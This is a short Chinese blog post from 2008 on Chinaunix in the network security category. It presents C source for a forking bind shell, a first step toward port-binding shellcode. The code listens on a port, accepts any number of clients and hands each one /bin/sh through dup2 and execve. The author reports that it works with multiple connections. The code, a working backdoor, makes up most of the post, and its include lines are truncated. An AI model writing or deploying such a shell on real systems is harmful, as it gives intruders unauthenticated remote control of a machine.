Chinaunix首页 | 论坛 | 博客
  • 博客访问: 19978
  • 博文数量: 8
  • 博客积分: 290
  • 博客等级: 二等列兵
  • 技术积分: 90
  • 用 户 组: 普通用户
  • 注册时间: 2008-03-20 23:45
文章分类
文章存档

2011年(1)

2008年(7)

我的朋友
最近访客

分类: 网络与安全

2008-03-24 23:16:37

问题:得到端口绑定shellcdoe,使其可以接受多个连接。
fork的c代码如下:

#include
#include
#include
#include

int main()
{
int sock, cli;
struct sockaddr_in serv_addr;

serv_addr.sin_family = 2;
serv_addr.sin_addr.s_addr = 0;
serv_addr.sin_port = 0xAAAA;
sock = socket(2, 1, 0);
bind(sock, (struct sockaddr *)&serv_addr, 0x10);
listen(sock, 1);
for(;;) {
  cli = accept(sock, 0, 0);
  if(!fork()) {
    dup2(cli, 0);
    dup2(cli, 1);
    dup2(cli, 2);
    execve("/bin/sh", 0, 0);
    }
  }
}

编译通过,可以同时接受多个连接,并且可以在每个连接中使用shell。

明天完成shellcode。
阅读(490) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~